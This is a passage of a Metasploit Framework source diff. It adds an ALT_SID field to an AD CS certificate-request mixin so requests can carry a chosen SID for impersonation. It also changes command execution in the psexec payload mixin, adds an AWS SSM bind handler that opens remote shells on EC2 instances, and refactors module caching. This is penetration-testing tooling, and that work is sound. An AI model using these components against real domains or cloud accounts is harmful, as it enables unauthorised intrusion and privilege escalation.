SID' ]), OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]), OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]), OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]), @@ -50,6 +52,10 @@ def initialize(info = {}) def setup errors = {} + if datastore['ALT_SID'].present? && datastore['ALT_SID'] !~ /^S(-\d+)+$/ + errors['ALT_SID'] = 'Must be a valid SID.' + end + if datastore['ALT_UPN'].present? && datastore['ALT_UPN'] !~ /^\S+@[^\s\\]+$/ errors['ALT_UPN'] = 'Must be in the format USER@DOMAIN.' end @@ -101,7 +107,6 @@ def request_certificate(opts = {}) raise MsIcprUnknownError, e.message end - module_function def connect_ipc @@ -145,6 +150,7 @@ def do_request_cert(icpr, opts) user = opts[:username] || datastore['SMBUser'] status_msg = "Requesting a certificate for user #{user}" alt_dns = opts[:alt_dns] || (datastore['ALT_DNS'].blank? ? nil : datastore['ALT_DNS']) + alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID']) alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN']) algorithm = opts[:algorithm] || datastore['DigestAlgorithm'] status_msg << " - alternate DNS: #{alt_dns}" if alt_dns @@ -154,6 +160,7 @@ def do_request_cert(icpr, opts) cn: user, private_key: private_key, dns: alt_dns, + msext_sid: alt_sid, msext_upn: alt_upn, algorithm: algorithm ) @@ -204,14 +211,14 @@ def do_request_cert(icpr, opts) return unless response[:certificate] - if (upn = get_cert_msext_upn(response[:certificate])) - print_status("Certificate UPN: #{upn}") - end - if (sid = get_cert_msext_sid(response[:certificate])) print_status("Certificate SID: #{sid}") end + if (upn = get_cert_msext_upn(response[:certificate])) + print_status("Certificate UPN: #{upn}") + end + pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate]) # see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate" @@ -244,9 +251,10 @@ def do_request_cert(icpr, opts) # @param [String] cn The common name for the certificate. # @param [OpenSSL::PKey] private_key The private key for the certificate. # @param [String] dns An alternative DNS name to use. + # @param [String] msext_sid An explicit SID to specify for strong identity mapping. # @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature). # @return [OpenSSL::X509::Request] The request object. - def build_csr(cn:, private_key:, dns: nil, msext_upn: nil, algorithm: 'SHA256') + def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256') request = OpenSSL::X509::Request.new request.version = 1 request.subject = OpenSSL::X509::Name.new([ @@ -254,15 +262,28 @@ def build_csr(cn:, private_key:, dns: nil, msext_upn: nil, algorithm: 'SHA256') ]) request.public_key = private_key.public_key + extensions = [] + subject_alt_names = [] subject_alt_names << "DNS:#{dns}" if dns subject_alt_names << "otherName:#{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn unless subject_alt_names.empty? - extension = OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false) + extensions << OpenSSL::X509::ExtensionFactory.new.create_extension('subjectAltName', subject_alt_names.join(','), false) + end + + if msext_sid + ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: { + type_id: OID_NTDS_OBJECTSID, + value: msext_sid + }) + extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false) + end + + unless extensions.empty? request.add_attribute(OpenSSL::X509::Attribute.new( 'extReq', OpenSSL::ASN1::Set.new( - [OpenSSL::ASN1::Sequence.new([extension])] + [OpenSSL::ASN1::Sequence.new(extensions)] ) )) end @@ -347,7 +368,13 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') # @param [OpenSSL::X509::Certificate] cert # @return [String, nil] The SID if it was found, otherwise nil. def get_cert_msext_sid(cert) - get_cert_ext_property(cert, NTDS_CA_SECURITY_EXT, OID_NTDS_OBJECTSID) + ext = cert.extensions.find { |e| e.oid == OID_NTDS_CA_SECURITY_EXT } + return unless ext + + ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.parse(ext.value_der) + return unless ntds_ca_security_ext[:OtherName][:type_id].value == OID_NTDS_OBJECTSID + + ntds_ca_security_ext[:OtherName][:value].value end # Get the User Principal Name (UPN) from the certificate. This is a Microsoft specific extension. diff --git a/lib/msf/core/exploit/remote/smb/client/psexec.rb b/lib/msf/core/exploit/remote/smb/client/psexec.rb index d74ddd53aac26..632787579c595 100644 --- a/lib/msf/core/exploit/remote/smb/client/psexec.rb +++ b/lib/msf/core/exploit/remote/smb/client/psexec.rb @@ -223,7 +223,6 @@ def execute_command_payload(smbshare) text = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.txt" bat = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.bat" command = payload.encoded - output = execute_command_with_output(text, bat, command, smbshare, datastore['RHOST'], delay: datastore['CMD::DELAY']) unless output.nil? @@ -242,8 +241,9 @@ def execute_command_payload(smbshare) def execute_command(text, bat, cmd) # Try and execute the provided command + cmd = Msf::Post::Windows.escape_cmd_literal(cmd, spaces: false) execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}" - vprint_status("Executing the command...") + vprint_status("Executing the command: #{execute}") begin return psexec(execute) rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 1fc8b9390d319..682369b2b6ad2 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -199,6 +199,8 @@ def version # # @return [Metasploit::Framework::DataService::DataProxy] def db + return @db if @db + synchronize { @db ||= get_db } @@ -209,6 +211,8 @@ def db # # @return [Msf::SessionManager] def sessions + return @sessions if @sessions + synchronize { @sessions ||= Msf::SessionManager.new(self) } @@ -219,6 +223,8 @@ def sessions # # @return [Msf::ThreadManager] def threads + return @threads if @threads + synchronize { @threads ||= Msf::ThreadManager.new(self) } diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb new file mode 100644 index 0000000000000..643fe49727bd1 --- /dev/null +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -0,0 +1,388 @@ +# -*- coding: binary -*- +module Msf +module Handler + +require 'aws-sdk-ssm' +### +# +# This module implements the AWS SSM handler. This means that +# it will attempt to connect to a remote host through the AWS SSM pipe for +# a period of time (typically the duration of an exploit) to see if a the +# agent has started listening. +# +### +module BindAwsSsm + include Rex::Proto::Http::WebSocket::AmazonSsm + include Msf::Handler + ### + # + # This module implements SSM R/W abstraction to mimic Rex::IO::Stream interfaces + # These methods are not fully synchronized/thread-safe as the req/resp chain is + # itself async and rely on a cursor to obtain responses when they are ready from + # the SSM API. + # + ### + + class AwsSsmSessionChannel + + include Rex::IO::StreamAbstraction + + def initialize(framework, ssmclient, peer_info) + @framework = framework + @peer_info = peer_info + @ssmclient = ssmclient + @cursor = nil + @cmd_doc = peer_info['CommandDocument'] + + initialize_abstraction + + self.lsock.extend(AwsSsmSessionChannelExt) + # self.lsock.peerinfo = peer_info['ComputerName'] + ':0' + self.lsock.peerinfo = peer_info['IpAddress'] + ':0' + # Fudge the portspec since each client request is actually a new connection w/ a new source port, for now + self.lsock.localinfo = Rex::Socket.source_address(@ssmclient.config.endpoint.to_s.sub('https://', '')) + ':0' + + monitor_shell_stdout + end + + # + # Funnel data from the shell's stdout to +rsock+ + # + # +StreamAbstraction#monitor_rsock+ will deal with getting data from + # the client (user input). From there, it calls our write() below, + # funneling the data to the shell's stdin on the other side. + # + def monitor_shell_stdout + @monitor_thread = @framework.threads.spawn('AwsSsmSessionHandlerMonitor', false) { + begin + while true + Rex::ThreadSafe.sleep(0.5) while @cursor.nil? + # Handle data from the API and write to the client + buf = ssm_read + break if buf.nil? + rsock.put(buf) + end + rescue ::Exception => e + ilog("AwsSsmSession monitor thread raised #{e.class}: #{e}") + end + } + end + + # Find command response on cursor and return to caller - doesn't respect length arg, yet + def ssm_read(length = nil, opts = {}) + maxw = opts[:timeout] ? opts[:timeout] : 30 + start = Time.now + resp = @ssmclient.list_command_invocations(command_id: @cursor, instance_id: @peer_info['InstanceId'], details: true) + while (resp.command_invocations.empty? or resp.command_invocations[0].status == 'InProgress') and + (Time.now - start).to_i.abs < maxw do + Rex::ThreadSafe.sleep(1) + resp = @ssmclient.list_command_invocations(command_id: @cursor, instance_id: @peer_info['InstanceId'], details: true) + end + # SSM script invocation states are: InProgress, Success, TimedOut, Cancelled, Failed + if resp.command_invocations[0].status == 'Success' or resp.command_invocations[0].status == 'Failed' + # The big limitation: SSM command outputs are only 2500 chars max, otherwise you have to write to S3 and read from there + output = resp.command_invocations.map {|c| c.command_plugins.map {|p| p.output}.join}.join + @cursor = nil + return output + else + @cursor = nil + ilog("AwsSsmSession error #{resp}") + raise resp + end + nil + end + + def write(buf, opts = {}) + resp = @ssmclient.send_command( + document_name: @cmd_doc, + instance_ids: [@peer_info['InstanceId']], + parameters: { commands: [buf] } + ) + if resp.command.error_count == 0 + @cursor = resp.command.command_id + return buf.length + else + @cursor = nil + ilog("AwsSsmSession error #{resp}") + raise resp + end + end + + # + # Closes the stream abstraction and kills the monitor thread. + # + def close + @monitor_thread.kill if (@monitor_thread) + @monitor_thread = nil + + cleanup_abstraction + end + end + # + # Returns the handler specific string representation, in this case + # 'bind_aws_ssm'. + # + def self.handler_type + return 'bind_aws_ssm' + end + + # + # Returns the connection oriented general handler type, in this case bind. + # + def self.general_handler_type + 'bind' + end + + # A string suitable for displaying to the user + # + # @return [String] + def human_name + 'bind AWS SSM' + end + + # + # Initializes a bind handler and adds the options common to all bind + # payloads, such as local port. + # + def initialize(info = {}) + super + + register_options( + [ + OptString.new('EC2_ID', [true, 'The EC2 ID of the instance ', '']), + OptString.new('REGION', [true, 'AWS region containing the instance', 'us-east-1']), + OptString.new('ACCESS_KEY_ID', [false, 'AWS access key', nil]), + OptString.new('SECRET_ACCESS_KEY', [false, 'AWS secret key', nil]), + OptString.new('ROLE_ARN', [false, 'AWS assumed role ARN', nil]), + OptString.new('ROLE_SID', [false, 'AWS assumed role session ID', nil]), + ], Msf::Handler::BindAwsSsm) + + register_advanced_options( + [ + OptString.new('SSM_SESSION_DOC', [true, 'The SSM document to use for session requests', 'SSM-SessionManagerRunShell']), + OptBool.new('SSM_KEEP_ALIVE', [false, 'Keep AWS SSM session alive with empty messages', true]) + ], Msf::Handler::BindAwsSsm) + + self.listener_threads = [] + self.conn_threads = [] + self.listener_pairs = {} + end + + # + # Kills off the connection threads if there are any hanging around. + # + def cleanup_handler + # Kill any remaining handle_connection threads that might + # be hanging around + stop_handler + + conn_threads.each { |thr| + thr.kill + } + end + + # + # Starts a new connecting thread + # + def add_handler(opts={}) + + # Merge the updated datastore values + opts.each_pair do |k,v| + datastore[k] = v + end + + # Start a new handler + start_handler + end + + # + # Starts monitoring for an outbound connection to become established. + # + def start_handler + + # Maximum number of seconds to run the handler + ctimeout = 150 + + # Maximum number of seconds to await initial API response + rtimeout = 5 + + if (exploit_config and exploit_config['active_timeout']) + ctimeout = exploit_config['active_timeout'].to_i + end + + # Ignore this if one of the requried options is missing + return if datastore['EC2_ID'].blank? + + # Only try the same host/port combination once + return if self.listener_pairs[datastore['EC2_ID']] + self.listener_pairs[datastore['EC2_ID']] = true + + # Start a new handling thread + self.listener_threads << framework.threads.spawn("BindAwsSsmHandler-#{datastore['EC2_ID']}", false) do + ssm_client = nil + + print_status("Started #{human_name} handler against #{datastore['EC2_ID']}:#{datastore['REGION']}") + + stime = Time.now.to_i + + while (stime + ctimeout > Time.now.to_i) + begin + ssm_client, peer_info = get_ssm_session + rescue Rex::ConnectionError => e + vprint_error(e.message) + rescue + wlog("Exception caught in AWS SSM handler: #{$!.class} #{$!}") + break + end + break if ssm_client + + # Wait a half-second before trying again + Rex::ThreadSafe.sleep(0.5) + end + + # Valid client connection? + if ssm_client + # Increment the has connection counter + self.pending_connections += 1 + + # Timeout and datastore options need to be passed through to the client + opts = { + datastore: datastore, + expiration: datastore['SessionExpirationTimeout'].to_i, + comm_timeout: datastore['SessionCommunicationTimeout'].to_i, + retry_total: datastore['SessionRetryTotal'].to_i, + retry_wait: datastore['SessionRetryWait'].to_i + } + + self.conn_threads << framework.threads.spawn('BindAwsSsmHandlerSession', false, ssm_client, peer_info) do |client_copy, info_copy| + begin + session_params = { + target: datastore['EC2_ID'], + document_name: datastore['SSM_SESSION_DOC'] + } + + # Call API to start SSM session + session_init = client_copy.start_session(session_params) + # Create WebSocket from parameters + ssm_sock = connect_ssm_ws(session_init) + # Create Channel from WebSocket + chan = ssm_sock.to_ssm_channel + # Configure Channel + chan._start_ssm_keepalive if datastore['SSM_KEEP_ALIVE'] + chan.params.comm = Rex::Socket::Comm::Local unless chan.params.comm + chan.params.peerhost = peer_info['IpAddress'] + chan.params.peerport = 0 + chan.params.peerhostname = peer_info['ComputerName'] + chan.update_term_size + rescue => e + print_error("AWS SSM handler failed: #{e.message}") + elog('Exception raised from BindAwsSsm', error: e) + return + end + + self.listener_pairs[datastore['EC2_ID']] = chan + + handle_connection(chan.lsock, { datastore: datastore, aws_ssm_host_info: peer_info }) + end + else + wlog('No connection received before the handler completed') + end + end + end + + # A URI describing what the payload is configured to use for transport + def payload_uri + "ssm://#{datastore['EC2_ID']}:0" + end + + def stop_handler + # Stop the listener threads + self.listener_threads.each do |t| + t.kill + end + self.listener_threads = [] + self.listener_pairs = {} + end + +private + + # + # Starts an SSM session, verifying presence of target + # + def get_ssm_session + # Configure AWS credentials + credentials = if datastore['ACCESS_KEY_ID'] and datastore['SECRET_ACCESS_KEY'] + ::Aws::Credentials.new(datastore['ACCESS_KEY_ID'], datastore['SECRET_ACCESS_KEY']) + else + nil + end + # Attempt to assume role from current context + credentials = if datastore['ROLE_ARN'] and datastore['ROLE_SID'] + ::Aws::AssumeRoleCredentials.new( + client: ::Aws::STS::Client.new( + region: datastore['REGION'], + credentials: credentials + ), + role_arn: datastore['ROLE_ARN'], + role_session_name: datastore['ROLE_SID'] + ) + else + credentials + end + + client = ::Aws::SSM::Client.new( + region: datastore['REGION'], + credentials: credentials, + ) + # Verify the connection params and availability of instance + inv_params = { filters: [ + { + key: 'AWS:InstanceInformation.InstanceId', + values: [datastore['EC2_ID']], + type: 'Equal', + } + ]} + inventory = client.get_inventory(inv_params) + # Extract peer info + if inventory.entities[0] and inventory.entities[0].id == datastore['EC2_ID'] + peer_info = inventory.entities[0].data['AWS:InstanceInformation'].content[0] + else + raise 'AWS SSM target not found' + end + return [client, peer_info] + end + + def create_session(ssm, opts = {}) + # If there is a parent payload, then use that in preference. + s = Sessions::AwsSsmCommandShellBind.new(ssm, opts) + # Pass along the framework context + s.framework = framework + + # Associate this system with the original exploit + # and any relevant information + s.set_from_exploit(assoc_exploit) + + # If the session is valid, register it with the framework and + # notify any waiters we may have. + if s + register_session(s) + end + + return s + end + +protected + + attr_accessor :conn_threads # :nodoc: + attr_accessor :listener_threads # :nodoc: + attr_accessor :listener_pairs # :nodoc: + + + module AwsSsmSessionChannelExt + attr_accessor :localinfo + attr_accessor :peerinfo + end + +end +end +end diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index fe628a81bfe97..5c7e44f7cf66e 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -83,6 +83,19 @@ class << self # The path from which the module was loaded. # attr_accessor :file_path + + # @return [String, nil] Reference name of the payload being adapted + attr_accessor :adapted_refname + + # @return [String, nil] Reference name of the payloads adapter + attr_accessor :adapter_refname + + # @return [String, nil] Reference name of the payload stage + attr_accessor :stage_refname + + # @return [String, nil] Reference name of the payloads stager + attr_accessor :stager_refname + end # @@ -207,6 +220,26 @@ def file_path self.class.file_path end + # @return [String, nil] Reference name of the payload being adapted + def adapted_refname + self.class.adapted_refname + end + + # @return [String, nil] Reference name of the payloads adapter + def adapter_refname + self.class.adapter_refname + end + + # @return [String, nil] Reference name of the payload stage + def stage_refname + self.class.stage_refname + end + + # @return [String, nil] Reference name of the payloads stager + def stager_refname + self.class.stager_refname + end + # # Returns the current workspace # diff --git a/lib/msf/core/module/module_info.rb b/lib/msf/core/module/module_info.rb index 7bae76896d14b..4f529c0fc9ab9 100644 --- a/lib/msf/core/module/module_info.rb +++ b/lib/msf/core/module/module_info.rb @@ -83,7 +83,7 @@ def info_fixups # def merge_check_key(info, name, val) if (self.respond_to?("merge_info_#{name.downcase}", true)) - eval("merge_info_#{name.downcase}(info, val)") + self.send("merge_info_#{name.downcase}", info, val) else # If the info hash already has an entry for this name if (info[name]) diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index edddf298d4f63..b1a8ed57b6af2 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -8,6 +8,8 @@ module Msf::ModuleManager::Cache extend ActiveSupport::Concern + MEMORY = :memory + FILESYSTEM = :filesystem # Returns whether the cache is empty # # @return [true] if the cache has no entries. @@ -71,32 +73,40 @@ def cache_in_memory(class_or_module, options={}) # @param [String] reference_name the module reference name. # @return [false] if a module with the given type and reference name does not exist in the cache. # @return (see Msf::Modules::Loader::Base#load_module) - def load_cached_module(type, reference_name) + def load_cached_module(type, reference_name, cache_type: Msf::ModuleManager::Cache::MEMORY) loaded = false - module_info = self.module_info_by_path.values.find { |inner_info| - inner_info[:type] == type and inner_info[:reference_name] == reference_name - } + case cache_type + when Msf::ModuleManager::Cache::FILESYSTEM + cached_metadata = Msf::Modules::Metadata::Cache.instance.get_module_reference(type: type, reference_name: reference_name) + return false unless cached_metadata + + parent_path = get_parent_path(cached_metadata.path, type) + when Msf::ModuleManager::Cache::MEMORY + cached_metadata = nil + module_info = self.module_info_by_path.values.find { |inner_info| + inner_info[:type] == type and inner_info[:reference_name] == reference_name + } + return false unless module_info - if module_info parent_path = module_info[:parent_path] + else + raise ArgumentError, "#{cache_type} is not a valid cache type." + end - # XXX borked - loaders.each do |loader| - if loader.loadable_module?(parent_path, type, reference_name) - type = module_info[:type] - reference_name = module_info[:reference_name] + # XXX borked + loaders.each do |loader| + next unless cached_metadata || loader.loadable_module?(parent_path, type, reference_name) - loaded = loader.load_module(parent_path, type, reference_name, :force => true) + loaded = loader.load_module(parent_path, type, reference_name, force: true, cached_metadata: cached_metadata) - break if loaded - end - end + break if loaded end loaded end + # @overload refresh_cache_from_module_files # Rebuilds module metadata store and in-memory cache for all modules. # @@ -120,6 +130,7 @@ def refresh_cache_from_module_files(module_class_or_instance = nil) ['nop', @framework.nops], ['evasion', @framework.evasion] ] + @framework.payloads.recalculate # Ensure all payloads are calculated before refreshing metadata Msf::Modules::Metadata::Cache.instance.refresh_metadata(module_sets) end refresh_cache_from_database(self.module_paths) @@ -159,9 +170,7 @@ def module_info_by_path_from_database!(allowed_paths=[""]) # Skip cached modules that are not in our allowed load paths next if allowed_paths.select{|x| path.index(x) == 0}.empty? - # The load path is assumed to be the next level above the type directory - type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '') - parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite + parent_path = get_parent_path(path, type) module_info_by_path[path] = { :reference_name => reference_name, @@ -179,13 +188,20 @@ def module_info_by_path_from_database!(allowed_paths=[""]) # Don't want to trigger as {Msf::ModuleSet#create} so check for # key instead of using ||= which would call {Msf::ModuleSet#[]} # which would potentially call {Msf::ModuleSet#create}. - if typed_module_set - unless typed_module_set.has_key?(reference_name) - typed_module_set[reference_name] = Msf::SymbolicModule - end + next unless typed_module_set + unless typed_module_set.has_key?(reference_name) + typed_module_set[reference_name] = Msf::SymbolicModule end end self.module_info_by_path end + + private + + def get_parent_path(module_path, type) + # The load path is assumed to be the next level above the type directory + type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '') + module_path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite + end end diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb index 56f6506b37891..c1ba2b66ba666 100644 --- a/lib/msf/core/module_manager/loading.rb +++ b/lib/msf/core/module_manager/loading.rb @@ -161,7 +161,7 @@ def loaders # @option options [Array] :modules An array of regex patterns to search for specific modules # @return [Hash{String => Integer}] Maps module type to number of modules loaded def load_modules(path, options={}) - options.assert_valid_keys(:force, :whitelist) + options.assert_valid_keys(:force, :whitelist, :recalculate) count_by_type = {} diff --git a/lib/msf/core/module_manager/module_paths.rb b/lib/msf/core/module_manager/module_paths.rb index 91a41a18add53..71f3c375f96ae 100644 --- a/lib/msf/core/module_manager/module_paths.rb +++ b/lib/msf/core/module_manager/module_paths.rb @@ -16,7 +16,7 @@ module Msf::ModuleManager::ModulePaths # @param [Hash] opts # @option opts [Array] whitelist An array of regex patterns to search for specific modules # @return (see Msf::Modules::Loader::Base#load_modules) - def add_module_path(path, opts={}) + def add_module_path(path, opts={}, recalculate: true) nested_paths = [] # remove trailing file separator @@ -38,7 +38,7 @@ def add_module_path(path, opts={}) # Load all of the modules from the nested paths count_by_type = {} nested_paths.each { |path| - path_count_by_type = load_modules(path, opts.merge({:force => false})) + path_count_by_type = load_modules(path, opts.merge({:force => false, recalculate: recalculate})) # merge hashes path_count_by_type.each do |type, path_count| @@ -61,4 +61,4 @@ def remove_module_path(path) protected attr_accessor :module_paths # :nodoc: -end \ No newline at end of file +end diff --git a/lib/msf/core/module_set.rb b/lib/msf/core/module_set.rb index 29fb6082d60f0..49794a1dad0bb 100644 --- a/lib/msf/core/module_set.rb +++ b/lib/msf/core/module_set.rb @@ -34,17 +34,12 @@ def [](name) # @param reference_name [String] The module reference name. # @return [Msf::Module,nil] Instance of the named module or nil if it # could not be created. - def create(reference_name) + def create(reference_name, cache_type: Msf::ModuleManager::Cache::FILESYSTEM) klass = fetch(reference_name, nil) instance = nil - - # If there is no module associated with this class, then try to demand - # load it. + # If there is no module associated with this class, then try to demand load it. if klass.nil? or klass == Msf::SymbolicModule - if framework.modules.load_cached_module(module_type, reference_name) || empty? - recalculate - end - + framework.modules.load_cached_module(module_type, reference_name, cache_type: cache_type) klass = fetch(reference_name, nil) end diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 2398cb762de79..35c8e8f1aedce 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -107,12 +107,17 @@ def loadable?(path) # # @see #read_module_content # @see Msf::ModuleManager::Loading#file_changed? - def load_module(parent_path, type, module_reference_name, options={}) - options.assert_valid_keys(:count_by_type, :force, :recalculate_by_type, :reload) + def load_module(parent_path, type, module_reference_name, options = {}) + options.assert_valid_keys(:count_by_type, :force, :recalculate_by_type, :reload, :cached_metadata) force = options[:force] || false reload = options[:reload] || false - module_path = self.module_path(parent_path, type, module_reference_name) + if options[:cached_metadata] + module_path = options[:cached_metadata].path + else + module_path = self.module_path(parent_path, type, module_reference_name) + end + file_changed = module_manager.file_changed?(module_path) unless force or file_changed @@ -123,7 +128,7 @@ def load_module(parent_path, type, module_reference_name, options={}) reload ||= force || file_changed - module_content = read_module_content(parent_path, type, module_reference_name) + module_content = read_module_content_from_path(module_path) if module_content.empty? # read_module_content is responsible for calling {#load_error}, so just return here. @@ -207,7 +212,8 @@ def load_module(parent_path, type, module_reference_name, options={}) 'paths' => [ module_reference_name ], - 'type' => type + 'type' => type, + 'cached_metadata' => options[:cached_metadata] } ) @@ -242,7 +248,7 @@ def load_module(parent_path, type, module_reference_name, options={}) # @return [Hash{String => Integer}] Maps module type to number of # modules loaded def load_modules(path, options={}) - options.assert_valid_keys(:force) + options.assert_valid_keys(:force, :recalculate) force = options[:force] count_by_type = {} @@ -258,11 +264,12 @@ def load_modules(path, options={}) :force => force ) end - - recalculate_by_type.each do |type, recalculate| - if recalculate - module_set = module_manager.module_set(type) - module_set.recalculate + if options[:recalculate] + recalculate_by_type.each do |type, recalculate| + if recalculate + module_set = module_manager.module_set(type) + module_set.recalculate + end end end @@ -581,6 +588,16 @@ def read_module_content(parent_path, type, module_reference_name) raise ::NotImplementedError end + # Read the content of a module + # + # @abstract Override to read the module content based on the method of the loader subclass and return a string. + # + # @param full_path Path to the module to be read + # @return [String] module content that can be module_evaled into the {#create_namespace_module} + def read_module_content_from_path(full_path) + raise ::NotImplementedError + end + # Restores the namespace module to its original name under its original parent Module if there was a previous # namespace module. # diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index 8fc183013008d..d5e25065ace6c 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -73,6 +73,14 @@ def module_path(parent_path, type, module_reference_name) def read_module_content(parent_path, type, module_reference_name) full_path = module_path(parent_path, type, module_reference_name) + read_module_content_from_path(full_path) + end + + # Loads the module content from the on disk file. + # + # @param (see Msf::Modules::Loader::Base#read_module_content_from_path) + # @return (see Msf::Modules::Loader::Base#read_module_content_from_path) + def read_module_content_from_path(full_path) module_content = '' begin diff --git a/lib/msf/core/modules/loader/executable.rb b/lib/msf/core/modules/loader/executable.rb index ab970f68209ab..fa8e4791d2e05 100644 --- a/lib/msf/core/modules/loader/executable.rb +++ b/lib/msf/core/modules/loader/executable.rb @@ -81,6 +81,15 @@ def module_path(parent_path, type, module_reference_name) # @return (see Msf::Modules::Loader::Base#read_module_content) def read_module_content(parent_path, type, module_reference_name) full_path = module_path(parent_path, type, module_reference_name) + + read_module_content_from_path(full_path) + end + + # Loads the module content from the on disk file. + # + # @param (see Msf::Modules::Loader::Base#read_module_content_from_path) + # @return (see Msf::Modules::Loader::Base#read_module_content_from_path) + def read_module_content_from_path(full_path) unless File.executable?(full_path) load_error(full_path, Errno::ENOENT.new) return '' diff --git a/lib/msf/core/modules/metadata/cache.rb b/lib/msf/core/modules/metadata/cache.rb index 7290f3bd5b845..8eb310f0213f6 100644 --- a/lib/msf/core/modules/metadata/cache.rb +++ b/lib/msf/core/modules/metadata/cache.rb @@ -34,6 +34,12 @@ def get_metadata } end + def get_module_reference(type:, reference_name:) + @mutex.synchronize do + wait_for_load + @module_metadata_cache["#{type}_#{reference_name}"] + end + end # # Checks for modules loaded that are not a part of the cache and updates the underlying store # if there are changes. @@ -49,7 +55,7 @@ def refresh_metadata(module_sets) next if unchanged_reference_name_set.include? mn begin - module_instance = mt[1].create(mn) + module_instance = mt[1].create(mn, cache_type: Msf::ModuleManager::Cache::MEMORY) rescue Exception => e elog "Unable to create module: #{mn}. #{e.message}" end diff --git a/lib/msf/core/modules/metadata/obj.rb b/lib/msf/core/modules/metadata/obj.rb index 97f591315c29b..e6c01ef9727c1 100644 --- a/lib/msf/core/modules/metadata/obj.rb +++ b/lib/msf/core/modules/metadata/obj.rb @@ -56,6 +56,18 @@ class Obj attr_reader :notes # @return [Array] attr_reader :session_types + # @return [Integer] The type of payload, e.g. Single, Stager, Adapter + attr_reader :payload_type + # @return [String, nil] Name of the adapter if applicable + attr_reader :adapter_refname + # @return [String, nil] Name of the adapted payload if applicable + attr_reader :adapted_refname + # @return [Boolean] Whether or not the payload is staged + attr_reader :staged + # @return [String, nil] Name of the stage if applicable + attr_reader :stage_refname + # @return [String, nil] Name of the stager if applicable + attr_reader :stager_refname def initialize(module_instance, obj_hash = nil) unless obj_hash.nil? @@ -110,6 +122,19 @@ def initialize(module_instance, obj_hash = nil) @session_types = module_instance.respond_to?(:session_types) && module_instance.session_types + if module_instance.respond_to?(:payload_type) + @payload_type = module_instance.payload_type + @staged = module_instance.staged? + end + if @staged + @stage_refname = module_instance.stage_refname + @stager_refname = module_instance.stager_refname + end + if @payload_type == Payload::Type::Adapter + @adapter_refname = module_instance.adapter_refname + @adapted_refname = module_instance.adapted_refname + end + # Due to potentially non-standard ASCII we force UTF-8 to ensure no problem with JSON serialization force_encoding(::Encoding::UTF_8) end @@ -118,7 +143,7 @@ def initialize(module_instance, obj_hash = nil) # Returns the JSON representation of the module metadata # def to_json(*args) - { + data = { 'name' => @name, 'fullname' => @fullname, 'aliases' => @aliases, @@ -143,8 +168,23 @@ def to_json(*args) 'default_credential' => @default_credential, 'notes' => @notes, 'session_types' => @session_types, - 'needs_cleanup' => @needs_cleanup - }.to_json(*args) + 'needs_cleanup' => @needs_cleanup, + } + + if @payload_type + payload_data = { + 'payload_type' => @payload_type, + 'adapter_refname' => @adapter_refname, + 'adapted_refname' => @adapted_refname, + 'adapted' => @adapted, + 'staged' => @staged, + 'stage_refname' => @stage_refname, + 'stager_refname' => @stager_refname, + }.compact + data.merge!(payload_data) + end + + data.to_json(*args) end # @@ -174,7 +214,7 @@ def init_from_hash(obj_hash) @name = obj_hash['name'] @fullname = obj_hash['fullname'] @aliases = obj_hash['aliases'] || [] - @disclosure_date = obj_hash['disclosure_date'].nil? ? nil : Date.parse(obj_hash['disclosure_date']) + @disclosure_date = obj_hash['disclosure_date'].nil? ? nil : Time.parse(obj_hash['disclosure_date']) @rank = obj_hash['rank'] @type = obj_hash['type'] @description = obj_hash['description'] @@ -196,6 +236,12 @@ def init_from_hash(obj_hash) @session_types = obj_hash['session_types'] @autofilter_ports = obj_hash['autofilter_ports'] @autofilter_services = obj_hash['autofilter_services'] + @payload_type = obj_hash['payload_type'] + @adapter_refname = obj_hash['adapter_refname'] + @adapted_refname = obj_hash['adapted_refname'] 